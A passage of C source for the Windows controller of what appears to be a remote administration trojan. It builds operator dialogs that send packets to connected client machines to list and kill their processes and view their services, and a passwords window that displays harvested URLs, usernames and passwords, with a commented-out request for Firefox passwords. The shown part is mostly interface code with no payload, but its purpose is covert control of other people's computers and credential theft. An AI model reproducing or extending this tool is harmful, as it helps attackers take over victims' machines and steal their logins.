  3106.     default:
  3107.         return FALSE;
  3108.     }
  3109. return TRUE;
  3110. }
  3111. /////////////////////////////////////////////////////////////////////////////////////////////////
  3112. //Help Proc
  3113.  
  3114.  
  3115. /////////////////////////////////////////////////////////////////////////////////////////////////
  3116. //Entry function
  3117. HANDLE hRichEdit;
  3118. int APIENTRY WinMain(HINSTANCE hInstance,
  3119.                      HINSTANCE hPrevInstance,
  3120.                      LPSTR     lpCmdLine,
  3121.                      int       nCmdShow)
  3122. {
  3123.         hRichEdit = LoadLibrary( "RICHED32.DLL" );
  3124. if( ! hRichEdit )
  3125.    {                                      //  If Rich Edit DLL load fails, exit
  3126.  
  3127.       return( FALSE );
  3128.    }
  3129.    else
  3130.    {
  3131.      
  3132.    }
  3133.     HICON hIcon;
  3134.     DialogBox(hInstance,(LPCTSTR)EULA,0,(DLGPROC)EULAProc);
  3135.     GInstance = hInstance;
  3136.     hDlg=CreateDialog(hInstance,(LPCTSTR)IDD_DIALOG1,NULL,(DLGPROC)MainProc);
  3137.     ShowWindow(hDlg,SW_SHOW);
  3138.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  3139.     SendMessage(hDlg, WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  3140.     DeleteObject(hIcon);
  3141.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  3142.     SendMessage(hDlg, WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  3143.     InitCommonControls();
  3144.     MSG msg;
  3145.     while(GetMessage(&msg,hDlg,0,0)==TRUE)
  3146.     {
  3147.         TranslateMessage(&msg);
  3148.         DispatchMessage(&msg);
  3149.     }
  3150.     return 0;
  3151. }
  3152. ///////////////////////////////////////////////////////////////////////////////////
  3153. //Task manager
  3154. /////////////////////////////////////////////////////////////////////////////////////
  3155. //Task callBack
  3156. LRESULT CALLBACK TaskProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  3157. {
  3158.     int Select;
  3159.     char WindowOut  [10] = "";
  3160.     char WindowOutY [10] = "";
  3161.     int FG = 0;
  3162.     char Buffer [512] = "";
  3163.     int i= 0;
  3164.     int j=0;
  3165.     LV_COLUMN   col;
  3166.     LV_ITEM     item;
  3167.     //THwnd = hwnd;
  3168.     HWND Status = 0;
  3169.     HWND hEdit = 0;
  3170.  
  3171.     HMENU hmenu;            // menu template          
  3172.     HMENU hmenuTrackPopup;  // shortcut menu  
  3173.  
  3174.     RECT rc;    // client area   GetClientRect(hwnd, (LPRECT) &rc);          
  3175.     POINT  pt;   // location of mouse click
  3176.    
  3177.     TCITEM tie;
  3178.    
  3179.     int statwidths[] = {160, -1};
  3180.     MEMORYSTATUS Memory;
  3181.  
  3182.     switch(message)
  3183.     {
  3184. ////////////////////////////////////////////////////////////////////////////////
  3185.     case WM_INITDIALOG:
  3186.         InitCommonControls();
  3187.        
  3188. GlobalMemoryStatus(&Memory);
  3189. sprintf(Buffer, "Physical Memory: %d", Memory.dwMemoryLoad);
  3190. MessageBox(NULL, Buffer, "Buffer", MB_OK);
  3191.         /////////////////////////////////////////////////////////////
  3192.         //Task List
  3193.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  3194.     tie.pszText = "Process";
  3195.    
  3196.     TabCtrl_InsertItem(GetDlgItem(hwnd, IDC_TAB1), 0, &tie);
  3197.  
  3198.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  3199.     tie.pszText = "Applications";
  3200.    
  3201.     TabCtrl_InsertItem(GetDlgItem(hwnd, IDC_TAB1), 1, &tie);
  3202.      
  3203.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_TASKLIST),LVS_EX_FULLROWSELECT);
  3204.  
  3205.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  3206.         col.cx=200;
  3207.         col.pszText="Process";
  3208.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_TASKLIST),0,&col);
  3209.         col.cx=100;
  3210.         col.pszText="PID";
  3211.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_TASKLIST),1,&col);
  3212.         col.cx=100;
  3213.         col.pszText="Parent PID";
  3214.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_TASKLIST),2,&col);
  3215.         col.cx=100;
  3216.         col.pszText="Threads";
  3217.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_TASKLIST),3,&col);
  3218.         col.cx=100;
  3219.         col.pszText="Priority";
  3220.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_TASKLIST),4,&col);
  3221.  
  3222.  
  3223.          Status = CreateWindowEx(0, STATUSCLASSNAME, NULL,WS_CHILD | WS_VISIBLE | SBARS_SIZEGRIP, 0, 0, 0, 0,hwnd, (HMENU)IDC_TASK_STATUS , GetModuleHandle(NULL), NULL);
  3224.  
  3225.         SendMessage(Status, SB_SETPARTS, 2, (LPARAM)statwidths);
  3226.         sprintf(Buffer, "Process's: %d",0);
  3227.         SendMessage(Status, SB_SETTEXT, 0, (LPARAM)Buffer);
  3228.         sprintf(Buffer, "Physical Memory: %d",0);
  3229.         SendMessage(Status, SB_SETTEXT, 1, (LPARAM)Buffer);
  3230.     break;
  3231.     case WM_NOTIFY:
  3232.    
  3233.     switch(wParam)
  3234.  
  3235.     {
  3236.     case IDC_TASKLIST:
  3237.  
  3238.             if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  3239.             {
  3240.                 GetClientRect(hwnd, (LPRECT) &rc);
  3241.  
  3242.             // Get the client coordinates for the mouse click.  
  3243.               GetCursorPos(&pt);
  3244.               pt.x += 10;
  3245.             // If the mouse click took place inside the client
  3246.             // area, execute the application-defined function
  3247.             // that displays the shortcut menu.
  3248.            
  3249.        
  3250.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU1));
  3251.  
  3252.                  if (hmenu == NULL)
  3253.                  {
  3254.                   break;
  3255.                  }
  3256.  
  3257.             // Get the first shortcut menu in the menu template. This is the
  3258.             // menu that TrackPopupMenu displays.
  3259.  
  3260.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  3261.  
  3262.               // TrackPopup uses screen coordinates, so convert the
  3263.              // coordinates of the mouse click to screen coordinates.
  3264.  
  3265.  
  3266.             // Draw and track the shortcut menu.  
  3267.  
  3268.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hwnd, NULL);
  3269.             break;
  3270.             }
  3271.             break;
  3272.     case IDC_TAB1:
  3273.             switch (((LPNMHDR)lParam)->code)
  3274.             {
  3275.             case TCN_SELCHANGE:
  3276.                 {
  3277.                     int iPage = TabCtrl_GetCurSel(GetDlgItem(hwnd, IDC_TAB1));
  3278.                     if(iPage != 0)
  3279.                     {
  3280.                     ResetProcs(hwnd, IDC_TASKLIST);
  3281.                     STATE = 1;
  3282.                         col.mask=LVCF_TEXT|LVCF_WIDTH;
  3283.                         col.cx=600;
  3284.                         col.pszText="Window";
  3285.                         ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),0,&col);
  3286.  
  3287.                         col.mask=LVCF_TEXT|LVCF_WIDTH;
  3288.                         col.cx=0;
  3289.                         col.pszText="";
  3290.                         ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),1,&col);
  3291.  
  3292.                     col.cx=0;
  3293.                     col.pszText=" ";
  3294.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),2,&col);
  3295.                     col.cx=0;
  3296.                     col.pszText=" ";
  3297.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),3,&col);
  3298.                     col.cx=0;
  3299.                     col.pszText=" ";
  3300.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),4,&col);
  3301.  
  3302.                     P = 0;
  3303.                     if (WSAGetLastError() != WSAEALREADY)
  3304.                     {
  3305.                     Sleep(10);
  3306.                    
  3307.                              ResetProcs(hwnd, IDC_TASKLIST);
  3308.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3309.                     Head.ID = atoi(WindowOut);
  3310.                              Head.PacketType=PACKET_TASK_MANAGER_TASKS;
  3311.                              SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  3312.                     }
  3313.                              break;
  3314.                     }
  3315.                     else
  3316.                     {
  3317.                     STATE = 0;
  3318.                     ResetProcs(hwnd, IDC_TASKLIST);
  3319.                     col.mask=LVCF_TEXT|LVCF_WIDTH;
  3320.                     col.cx=200;
  3321.                     col.pszText="Process";
  3322.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),0,&col);
  3323.                     col.cx=100;
  3324.                     col.pszText="PID";
  3325.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),1,&col);
  3326.                     col.cx=100;
  3327.                     col.pszText="Parent PID";
  3328.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),2,&col);
  3329.                     col.cx=100;
  3330.                     col.pszText="Threads";
  3331.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),3,&col);
  3332.                     col.cx=100;
  3333.                     col.pszText="Priority";
  3334.                     ListView_SetColumn(GetDlgItem(hwnd,IDC_TASKLIST),4,&col);
  3335.  
  3336.                      P = 0;
  3337.                      if (WSAGetLastError() != WSAEALREADY)
  3338.                      {
  3339.                              ResetProcs(hwnd, IDC_TASKLIST);
  3340.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3341.                     Head.ID = atoi(WindowOut);
  3342.                              Head.PacketType=PACKET_TASK_MANAGER;
  3343.                              SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  3344.                              break;
  3345.                      }
  3346.                     }
  3347.                
  3348.                    
  3349.                 }
  3350.                 break;
  3351.             }
  3352.         break;
  3353.     }
  3354.     break;
  3355.     case WM_COMMAND:
  3356.         Select=LOWORD(wParam);
  3357.         switch(Select)
  3358.         {
  3359.    
  3360.         case IDC_REFRESH_TASK:
  3361.  
  3362.             if(STATE == 0)
  3363.             {
  3364.                              P = 0;
  3365.                              ResetProcs(hwnd, IDC_TASKLIST);
  3366.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3367.                     Head.ID = atoi(WindowOut);
  3368.                              Head.PacketType=PACKET_TASK_MANAGER;
  3369.                              SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  3370.                              break;
  3371.             }
  3372.             else
  3373.             {
  3374.                              P = 0;
  3375.                              ResetProcs(hwnd, IDC_TASKLIST);
  3376.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3377.                     Head.ID = atoi(WindowOut);
  3378.                              Head.PacketType=PACKET_TASK_MANAGER_TASKS;
  3379.                              SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  3380.                              break;
  3381.             }
  3382.                              break;
  3383.         case IDC_TASK_KILL:
  3384.             if(MessageBox(NULL, "Are you sure you want to kill the selected task?", "Proc manager", MB_YESNO | MB_ICONQUESTION) == IDYES)
  3385.             {
  3386.                 item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_TASKLIST),-1,LVNI_SELECTED);
  3387.                 item.mask=LVIF_TEXT;
  3388.                 item.iSubItem=0;
  3389.                 item.pszText=Head.Data;
  3390.                 item.cchTextMax=255;
  3391.                 ListView_GetItem(GetDlgItem(hwnd,IDC_TASKLIST),&item);
  3392.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3393.                     Head.ID = atoi(WindowOut);
  3394.                 if(STATE == 0)
  3395.                 {
  3396.                 Head.PacketType = PACKET_TASK_MANAGER_KILL;
  3397.                 }
  3398.                 else
  3399.                 {
  3400.                 Head.PacketType = PACKET_TASK_MANAGER_KTASK;
  3401.                 }
  3402.                 SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  3403.  
  3404.                 strcpy(Buffer, "");
  3405.                 sprintf(Buffer, "Killed: %s", Head.Data);
  3406.                 GetTime();
  3407.                 SetLogs(Time, "Task Kill", Buffer , "Pass");
  3408.                 ListView_DeleteItem(GetDlgItem(hwnd,IDC_TASKLIST),ListView_GetNextItem(GetDlgItem(hwnd,IDC_TASKLIST),-1,LVNI_SELECTED));
  3409.                 ////////////////////////////////////////////
  3410.             }
  3411.             else
  3412.             {
  3413.             break;
  3414.             }
  3415.             break;
  3416.        
  3417.         case IDCANCEL:
  3418.                     GetWindowText(hwnd, WindowOut, 10);
  3419.                     WindowOutY[0] = WindowOut[0];
  3420.                     Head.ID = atoi(WindowOutY);
  3421.                     TASKS[Head.ID] = NULL;
  3422.  
  3423.                     EndDialog(hwnd,Select);
  3424.                     break;
  3425.         }
  3426.  
  3427. ////////////////////////////////////////////////////////////////////////////////
  3428.     default:
  3429.         return FALSE;
  3430.     }
  3431. return TRUE;
  3432. }
  3433.  
  3434. DWORD WINAPI ProcWindow(LPVOID lpParam)
  3435. {
  3436.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  3437.     char WindowText [50] = "";
  3438.     char COMPUTER [50] = "";
  3439.     char IDA [10] = "";
  3440.     int PROCID = GID;
  3441.    
  3442.     strcpy(COMPUTER, WINDOWIP);
  3443.  
  3444.     HICON hIcon;
  3445.    
  3446.     TASKS[PROCID]=CreateDialog(TaInst,(LPCTSTR)IDD_DIALOG3,NULL,(DLGPROC)TaskProc);
  3447.     ShowWindow(TASKS[PROCID],SW_SHOW);
  3448.     ShowWindow(GetDlgItem(TASKS[PROCID], IDC_ID),SW_HIDE);
  3449.     InitCommonControls();
  3450.  
  3451.     ZeroMemory(&WindowText[0],10);
  3452.     sprintf(&WindowText[0],"Task Manager | %s", COMPUTER);
  3453.     sprintf(IDA, "%d", PROCID);
  3454.    
  3455.     SetWindowText(TASKS[PROCID], WindowText);
  3456.     SetWindowText(GetDlgItem(TASKS[PROCID], IDC_ID), IDA);
  3457.  
  3458.     Head.PacketType=PACKET_TASK_MANAGER;
  3459.     SentKb+=send(Client[PROCID],(char*)&Head,HeadSize,0);
  3460.    
  3461.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  3462.     SendMessage(TASKS[PROCID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  3463.     DeleteObject(hIcon);
  3464.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  3465.     SendMessage(TASKS[PROCID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  3466.  
  3467.     MSG msg;
  3468.     while(GetMessage(&msg,TASKS[PROCID],0,0)==TRUE)
  3469.     {
  3470.         TranslateMessage(&msg);
  3471.         DispatchMessage(&msg);
  3472.     }
  3473.  
  3474. return 0;
  3475. }
  3476. ////////////////////////////////////////////////////////////////////////////////////
  3477. //Passwords
  3478. LRESULT CALLBACK PasswordProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  3479. {
  3480.     int Select;
  3481.     char WindowOut  [10] = "";
  3482.     char WindowOutY [10] = "";
  3483.     char Title [50] = "";
  3484.     int FG = 0;
  3485.     LV_COLUMN   col;
  3486.     LV_ITEM     item;
  3487.     POINT  pt;   // location of mouse click
  3488.     HMENU hmenu;
  3489.     HMENU hmenuTrackPopup;
  3490.     RECT rc;
  3491.     HGLOBAL hMem;
  3492.     LPTSTR sMem;
  3493. switch(message)
  3494.     {
  3495. ////////////////////////////////////////////////////////////////////////////////
  3496.     case WM_INITDIALOG:
  3497.         ListView_SetImageList(GetDlgItem(hwnd, IDC_PASSWORDS),hImageList, LVSIL_SMALL);
  3498.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_PASSWORDS),LVS_EX_FULLROWSELECT);
  3499.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  3500.  
  3501.         col.cx=225;
  3502.         col.pszText="URL";
  3503.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_PASSWORDS),0,&col);
  3504.  
  3505.         col.cx=120;
  3506.         col.pszText="UserName";
  3507.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_PASSWORDS),1,&col);
  3508.  
  3509.         col.cx=100;
  3510.         col.pszText="PassWord";
  3511.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_PASSWORDS),2,&col);
  3512.         col.cx=100;
  3513.         /////////////////////////////////////////////////////////////
  3514.  
  3515.     break;
  3516.    
  3517.     case WM_NOTIFY:
  3518.            if(((LPNMHDR)lParam)->code == NM_RCLICK)  // Right Click
  3519.             {
  3520.                 GetClientRect(hwnd, (LPRECT) &rc);
  3521.  
  3522.             // Get the client coordinates for the mouse click.  
  3523.               GetCursorPos(&pt);
  3524.               pt.y += 10;
  3525.               pt.x += 10;
  3526.             // If the mouse click took place inside the client
  3527.             // area, execute the application-defined function
  3528.             // that displays the shortcut menu.
  3529.  
  3530.        
  3531.                  hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU6));
  3532.  
  3533.                  if (hmenu == NULL)
  3534.                  {
  3535.                   break;
  3536.                  }
  3537.  
  3538.             // Get the first shortcut menu in the menu template. This is the
  3539.             // menu that TrackPopupMenu displays.
  3540.  
  3541.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  3542.  
  3543.               // TrackPopup uses screen coordinates, so convert the
  3544.              // coordinates of the mouse click to screen coordinates.
  3545.  
  3546.              //ClientToScreen(hWnd, (LPPOINT) &pt);
  3547.  
  3548.             // Draw and track the shortcut menu.  
  3549.  
  3550.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, hwnd, NULL);
  3551.             }
  3552.            
  3553.  
  3554.         break;
  3555.         case WM_SIZING:
  3556.             switch(wParam)
  3557.             {
  3558.             case WMSZ_BOTTOM:
  3559.              GetClientRect(hwnd, &rc);
  3560.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);
  3561.             break;
  3562.  
  3563.             case WMSZ_BOTTOMLEFT:
  3564.                  GetClientRect(hwnd, &rc);
  3565.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);          
  3566.             break;
  3567.  
  3568.             case WMSZ_BOTTOMRIGHT:
  3569.              GetClientRect(hwnd, &rc);
  3570.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);          
  3571.             break;
  3572.  
  3573.             case WMSZ_LEFT:
  3574.              GetClientRect(hwnd, &rc);
  3575.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);          
  3576.             break;
  3577.  
  3578.             case WMSZ_RIGHT:
  3579.              GetClientRect(hwnd, &rc);
  3580.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);          
  3581.             break;
  3582.  
  3583.             case WMSZ_TOP:
  3584.              GetClientRect(hwnd, &rc);
  3585.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);          
  3586.             break;
  3587.             case WMSZ_TOPLEFT:
  3588.              GetClientRect(hwnd, &rc);
  3589.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);
  3590.             break;
  3591.  
  3592.             case WMSZ_TOPRIGHT:
  3593.              GetClientRect(hwnd, &rc);
  3594.              MoveWindow(GetDlgItem(hwnd, IDC_PASSWORDS),0,0,rc.right, rc.bottom, TRUE);          
  3595.             break;
  3596.             }
  3597.             break;
  3598.     case WM_COMMAND:
  3599.         Select=LOWORD(wParam);
  3600.         switch(Select)
  3601.         {
  3602.         case IDC_GOTOSITE:
  3603.            
  3604.             item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_PASSWORDS),-1,LVNI_SELECTED);
  3605.             item.mask=LVIF_TEXT;
  3606.             item.iSubItem=0;
  3607.             item.pszText=Head.Data;
  3608.             item.cchTextMax=255;
  3609.             ListView_GetItem(GetDlgItem(hwnd,IDC_PASSWORDS),&item);
  3610.            
  3611.             ShellExecute(NULL, "open", Head.Data, NULL, NULL, SW_SHOWNORMAL);
  3612.             break;
  3613.         case IDC_COPYPW:
  3614.             item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_PASSWORDS),-1,LVNI_SELECTED);
  3615.             item.mask=LVIF_TEXT;
  3616.             item.iSubItem=2;
  3617.             item.pszText=Head.Data;
  3618.             item.cchTextMax=255;
  3619.             ListView_GetItem(GetDlgItem(hwnd,IDC_PASSWORDS),&item);
  3620.  
  3621.             if (!OpenClipboard(NULL))
  3622.             {
  3623.             return 1;
  3624.             }      //if failed to open clipboard, die
  3625.             EmptyClipboard();    //empty the clipboard
  3626.  
  3627.             hMem = GlobalAlloc(GMEM_MOVEABLE, (lstrlen(Head.Data)+1));    //allocate memory as big as the text-string
  3628.             sMem = (TCHAR*)GlobalLock(hMem);        //make memory-data space, lock the memory
  3629.             memcpy(sMem, "", 1);
  3630.             memcpy(sMem, Head.Data, (lstrlen(Head.Data)+1));    //copy text-data into memory-data
  3631.             GlobalUnlock(hMem);        //unlock the memory
  3632.             SetClipboardData(CF_TEXT, hMem);    //put the data (text) to the clipboard
  3633.  
  3634.             CloseClipboard();    //we don't want to put anymore data to it so..
  3635.  
  3636.             break;
  3637.         case IDC_COPYUSER:
  3638.             item.iItem=ListView_GetNextItem(GetDlgItem(hwnd,IDC_PASSWORDS),-1,LVNI_SELECTED);
  3639.             item.mask=LVIF_TEXT;
  3640.             item.iSubItem=1;
  3641.             item.pszText=Head.Data;
  3642.             item.cchTextMax=255;
  3643.             ListView_GetItem(GetDlgItem(hwnd,IDC_PASSWORDS),&item);
  3644.  
  3645.                 if (!OpenClipboard(NULL))
  3646.                 {
  3647.                 return 1;
  3648.                 }    //if failed to open clipboard, die
  3649.             EmptyClipboard();    //empty the clipboard
  3650.  
  3651.             hMem = GlobalAlloc(GMEM_MOVEABLE, (lstrlen(Head.Data)+1));    //allocate memory as big as the text-string
  3652.             sMem = (TCHAR*)GlobalLock(hMem);        //make memory-data space, lock the memory
  3653.             memcpy(sMem, Head.Data, (lstrlen(Head.Data)+1));    //copy text-data into memory-data
  3654.             GlobalUnlock(hMem);        //unlock the memory
  3655.             SetClipboardData(CF_TEXT, hMem);    //put the data (text) to the clipboard
  3656.  
  3657.             CloseClipboard();    //we don't want to put anymore data to it so..
  3658.  
  3659.             break;
  3660.         case IDC_REFRESH:
  3661.                 /*  GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3662.                     Head.ID = atoi(WindowOut);
  3663.             ResetProcs(hwnd, IDC_PASSWORDS);
  3664.                 Head.PacketType = PASSWORD_FIREFOX;
  3665.                 strcpy(Head.Data, "");
  3666.                 SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);*/
  3667.             break;
  3668.         case IDCANCEL:
  3669.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3670.                     Head.ID = atoi(WindowOut);
  3671.                     PassHwnd[Head.ID] = NULL;
  3672.                     EndDialog(hwnd,Select);
  3673.                     break;
  3674.         }
  3675.  
  3676. ////////////////////////////////////////////////////////////////////////////////
  3677.     default:
  3678.         return FALSE;
  3679.     }
  3680. return TRUE;
  3681. }
  3682.  
  3683. DWORD WINAPI PassswordWindow(LPVOID lpParam)
  3684. {
  3685. /*  FileStruct * FILEWINDOW;
  3686.     FILEWINDOW = (FileStruct *) malloc(sizeof(FileStruct));
  3687.     FILEWINDOW = (FileStruct *)lpParam;
  3688.     char WindowText [50] = "";
  3689.     char COMPUTER [50] = "";
  3690.     int LID = atoi(FILEWINDOW->ID);
  3691.     char IDA [10] = "";
  3692.  
  3693.     strcpy(COMPUTER, WINDOWIP);
  3694.  
  3695.     HICON hIcon;
  3696.  
  3697.     PassHwnd[LID]=CreateDialog(PassInst,(LPCTSTR)IDD_PASSWORDS,NULL,(DLGPROC)PasswordProc);
  3698.     ShowWindow(PassHwnd[LID],SW_SHOW);
  3699.     ShowWindow(GetDlgItem(PassHwnd[LID], IDC_ID),SW_HIDE);
  3700.     InitCommonControls();
  3701.  
  3702.     ZeroMemory(&WindowText[0],10);
  3703.     sprintf(&WindowText[0],"File Manager | %s", COMPUTER);
  3704.     sprintf(IDA, "%d", LID);
  3705.    
  3706.     SetWindowText(PassHwnd[LID], WindowText);
  3707.     SetWindowText(GetDlgItem(PassHwnd[LID], IDC_ID), IDA);
  3708.  
  3709.     Head.PacketType = PASSWORD_FIREFOX;
  3710.     Head.ID = LID;
  3711.     strcpy(Head.Data, "");
  3712.     SentKb+=send(Client[LID],(char*)&Head,HeadSize,0);
  3713.     MSG msg;
  3714.  
  3715.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  3716.     SendMessage(PassHwnd[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  3717.     DeleteObject(hIcon);
  3718.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  3719.     SendMessage(PassHwnd[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  3720.  
  3721.     free(FILEWINDOW);
  3722.     while(GetMessage(&msg,PassHwnd[LID],0,0)==TRUE)
  3723.     {
  3724.         TranslateMessage(&msg);
  3725.         DispatchMessage(&msg);
  3726.     }*/
  3727. return 0;
  3728. }
  3729.  
  3730. ////////////////////////////////////////////////////////////////////////////////////
  3731. //Service Manager
  3732. LRESULT CALLBACK ServiceProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  3733. {
  3734.     int Select;
  3735.     char WindowOut  [10] = "";
  3736.     char WindowOutY [10] = "";
  3737.     char Title [50] = "";
  3738.     int FG = 0;
  3739.     LV_COLUMN   col;
  3740. //  LV_ITEM     item;
  3741.     RECT rc;
  3742.     switch(message)
  3743.     {
  3744. ////////////////////////////////////////////////////////////////////////////////
  3745.     case WM_INITDIALOG:
  3746.         ListView_SetExtendedListViewStyle(GetDlgItem(hwnd,IDC_SERVICES),LVS_EX_FULLROWSELECT);
  3747.         col.mask=LVCF_TEXT|LVCF_WIDTH;
  3748.         col.cx=100;
  3749.  
  3750.         col.pszText="Service Name";
  3751.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),0,&col);
  3752.         col.cx=100;
  3753.  
  3754.         col.pszText="Display Name";
  3755.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),1,&col);
  3756.         col.cx=100;
  3757.  
  3758.         col.pszText="Status";
  3759.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),2,&col);
  3760.         col.cx=100;
  3761.        
  3762.         col.pszText="Startup";
  3763.         ListView_InsertColumn(GetDlgItem(hwnd,IDC_SERVICES),3,&col);
  3764.         col.cx=100;
  3765.         ListView_SetImageList(GetDlgItem(hwnd, IDC_SERVICES),hImageList, LVSIL_SMALL);
  3766.         /////////////////////////////////////////////////////////////
  3767.  
  3768.     break;
  3769.         case WM_SIZING:
  3770.             switch(wParam)
  3771.             {
  3772.             case WMSZ_BOTTOM:
  3773.              GetClientRect(hwnd, &rc);
  3774.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);
  3775.             break;
  3776.  
  3777.             case WMSZ_BOTTOMLEFT:
  3778.              GetClientRect(hwnd, &rc);
  3779.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  3780.             break;
  3781.  
  3782.             case WMSZ_BOTTOMRIGHT:
  3783.              GetClientRect(hwnd, &rc);
  3784.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  3785.             break;
  3786.  
  3787.             case WMSZ_LEFT:
  3788.              GetClientRect(hwnd, &rc);
  3789.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  3790.             break;
  3791.  
  3792.             case WMSZ_RIGHT:
  3793.              GetClientRect(hwnd, &rc);
  3794.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  3795.             break;
  3796.  
  3797.             case WMSZ_TOP:
  3798.              GetClientRect(hwnd, &rc);
  3799.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  3800.             break;
  3801.             case WMSZ_TOPLEFT:
  3802.              GetClientRect(hwnd, &rc);
  3803.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE); 
  3804.             break;
  3805.  
  3806.             case WMSZ_TOPRIGHT:
  3807.              GetClientRect(hwnd, &rc);
  3808.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  3809.             break;
  3810.             }
  3811.             break;
  3812.     case WM_COMMAND:
  3813.         Select=LOWORD(wParam);
  3814.         switch(Select)
  3815.         {
  3816.         case IDCANCEL:
  3817.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  3818.                     Head.ID = atoi(WindowOut);
  3819.                     ServiceHwnd[Head.ID] = NULL;
  3820.                     EndDialog(hwnd,Select);
  3821.                     break;
  3822.         }
  3823.  
